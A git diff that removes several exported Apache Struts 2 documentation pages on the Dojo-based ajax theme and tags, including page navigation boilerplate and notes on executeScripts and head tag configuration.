-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>ajax head template</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ui-tags.html">UI Tags</a>&nbsp;&gt;&nbsp;<a href="themes-and-templates.html">Themes and Templates</a>&nbsp;&gt;&nbsp;<a href="ajax-theme.html">ajax theme</a>&nbsp;&gt;&nbsp;<a href="ajax-head-template.html">ajax head template</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">ajax head template</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13858">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13858">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13858">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13858">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13858">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13858">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The ajax <a shape="rect" href="head.html">head</a> template builds upon the <a shape="rect" href="xhtml-head-template.html">xhtml head template</a> by providing additional JavaScript includes for the <a shape="rect" class="external-link" href="http://dojotoolkit.org" rel="nofollow">Dojo Toolkit</a>, which is used by the <a shape="rect" href="ajax-a-template.html">ajax a template</a>, <a shape="rect" href="ajax-div-template.html">ajax div templat [...]
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>If you are having trouble getting the AJAX theme to work, you should include the above JavaScript in your page manually, changing "isDebug: false" to "isDebug: true".  This will log out debugging information directly to the screen.</p></div></div>
-
-<p>Note that Dojo is configured to use the same character encoding specified in <a shape="rect" href="strutsproperties.html">struts.properties</a>, typically UTF-8. For a simple example of how to use the <a shape="rect" href="head.html">head</a> tag with the AJAX theme, simply do the following in your HTML:</p>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-
-<div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>The above sample is from Struts trunk; for 2.0.6 you should use <code>&lt;s:head debug="true"/&gt;</code>.</p></div></div></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/ajax-submit-template.html b/content/docs/ajax-submit-template.html
deleted file mode 100644
index 10ef37e..0000000
--- a/content/docs/ajax-submit-template.html
+++ /dev/null
@@ -1,141 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>ajax submit template</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ui-tags.html">UI Tags</a>&nbsp;&gt;&nbsp;<a href="themes-and-templates.html">Themes and Templates</a>&nbsp;&gt;&nbsp;<a href="ajax-theme.html">ajax theme</a>&nbsp;&gt;&nbsp;<a href="ajax-submit-template.html">ajax submit template</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">ajax submit template</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14110">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14110">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14110">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14110">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14110">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14110">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-
-<p>TODO: Describe the Ajax Submit template</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/ajax-tabbedpanel-template.html b/content/docs/ajax-tabbedpanel-template.html
deleted file mode 100644
index 0aca76e..0000000
--- a/content/docs/ajax-tabbedpanel-template.html
+++ /dev/null
@@ -1,141 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>ajax tabbedPanel template</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ui-tags.html">UI Tags</a>&nbsp;&gt;&nbsp;<a href="themes-and-templates.html">Themes and Templates</a>&nbsp;&gt;&nbsp;<a href="ajax-theme.html">ajax theme</a>&nbsp;&gt;&nbsp;<a href="ajax-head-template.html">ajax head template</a>&nbsp;&gt; [...]
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">ajax tabbedPanel template</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13972">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13972">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13972">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13972">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13972">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13972">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-
-<p>TODO: Describe the Ajax TabbedPanel template</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/ajax-tags.html b/content/docs/ajax-tags.html
deleted file mode 100644
index 7ed4ce2..0000000
--- a/content/docs/ajax-tags.html
+++ /dev/null
@@ -1,196 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Ajax Tags</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ajax-tags.html">Ajax Tags</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Ajax Tags</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31510">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31510">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31510">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31510">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31510">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31510">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-warning"><p class="title">Dojo plugin is deprecated</p><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>The Dojo plugin will be deprecated on Struts 2.1</p></div></div>
-<div class="confluence-information-macro confluence-information-macro-note"><p class="title">Struts 2.0 versus Struts 2.1 and the Dojo tags</p><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>The easiest way to get documentation for Struts 2.0 Dojo tag usage is to look at older Struts 2 documentation, like the <a shape="rect" class="external-link" href="http://struts.apache.org/2.0.11/docs/ajax-tags.html">Struts 2.0.11 Ajax tags wiki documentation</a>.</p>
-
-<p><strong>Please</strong> check that documentation and the Dojo tag examples in the showcase app of the appropriate Struts 2 version before asking questions on the struts-user mailing list!</p>
-
-<hr>
-
-<p><strong>THE WIKI IS NOT VERSIONABLE</strong> (in a practical way).</p>
-
-<p>The documentation here is for the most current Struts 2, not necessarily the most current <em>release</em>. We try to add version-specific documentation notes but have undoubtedly missed some locations.</p></div></div>
-
-<h2 id="AjaxTags-Description">Description</h2>
-<p>To use the AJAX tags from 2.1 on you must:</p>
-
-<ul><li>Include the Dojo Plugin distributed with Struts 2 in your /WEB-INF/lib folder.</li><li>Add <em>&lt;%@ taglib prefix="sx" uri="/struts-dojo-tags" %&gt;</em> to your page.</li><li>Include the <a shape="rect" href="dojo-head.html">head</a> tag on the page, which can be configured for performance or debugging purposes.</li></ul>
-
-
-<h2 id="AjaxTags-HandlingAJAXResponses">Handling AJAX Responses</h2>
-
-<p>The following attributes affect the handling of all ajax responses.</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Attribute</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Default Value</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Description</p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p>parseContent</p></td><td colspan="1" rowspan="1" class="confluenceTd"><p>true</p></td><td colspan="1" rowspan="1" class="confluenceTd"><p>When true,  [...]
-When false, Dojo will extract the &lt;script&gt; tags from the response, concatenate the extracted code into one block and:<br clear="none">
-*in IE:  invoke window.execScript() on the code<br clear="none">
-*in other browsers: create a &lt;script&gt; node containing the code and insert that node into the DOM<br clear="none">
-This invocation occurs after the DOM has been updated with the XHTML. Note that scripts may not be executed if it is not valid to create a &lt;script&gt; node in the DOM at the destination.</p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p>executeScripts</p></td><td colspan="1" rowspan="1" class="confluenceTd"><p>false</p></td><td colspan="1" rowspan="1" class="confluenceTd"><p>When true, Dojo will extract code from the &lt;script&gt; tags from the response and execute [...]
-When false, the XHTML response is inserted into the DOM and &lt;script&gt; nodes are ignored. </p></td></tr></tbody></table></div>
-
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>It's possible that the updated DOM will not include &lt;script&gt; nodes even though the inline code has been executed.</p></div></div>
-<div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Ensure the response is XHTML-compliant (including, for example, thead and tbody tags in tables).<br clear="none">
-If you intend to run inline javascript:<br clear="none">
-*Ensure the  javascript can be concatenated and executed in one block,<br clear="none">
-*set executeScripts=true,<br clear="none">
-*set separateScripts=true (the reliable option)</p></div></div>
-<h2 id="AjaxTags-Topics">Topics</h2>
-<p>Most of the AJAX tags use Dojo topics for event notification and communication between them, to learn about topics visit <a shape="rect" class="external-link" href="http://dojotoolkit.org/book/dojo-book-0-4/part-5-connecting-pieces/event-system/topics" rel="nofollow">Dojo's documentation</a></p>
-
-<h2 id="AjaxTags-Examples">Examples</h2>
-<p>Examples can be found on the documentation for each tag in the <a shape="rect" href="ui-tag-reference.html">UI Tag Reference</a> page, for additional examples see <a shape="rect" href="ajax-and-javascript-recipes.html">Ajax and JavaScript Recipes</a> and the Showcase application distributed with Struts 2.</p>
-
-<h2 id="AjaxTags-Tags">Tags</h2>
-<ul><li><a shape="rect" href="dojo-anchor.html">a</a></li><li><a shape="rect" href="autocompleter.html">autocompleter</a></li><li><a shape="rect" href="bind.html">bind</a></li><li><a shape="rect" href="datetimepicker.html">datetimepicker</a></li><li><a shape="rect" href="dojo-div.html">div</a></li><li><a shape="rect" href="dojo-head.html">head</a></li><li><a shape="rect" href="dojo-submit.html">submit</a></li><li><a shape="rect" href="tabbedpanel.html">tabbedpanel</a></li><li><a shape="r [...]
-
-</div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/ajax-theme.html b/content/docs/ajax-theme.html
deleted file mode 100644
index b9d072f..0000000
--- a/content/docs/ajax-theme.html
+++ /dev/null
@@ -1,219 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
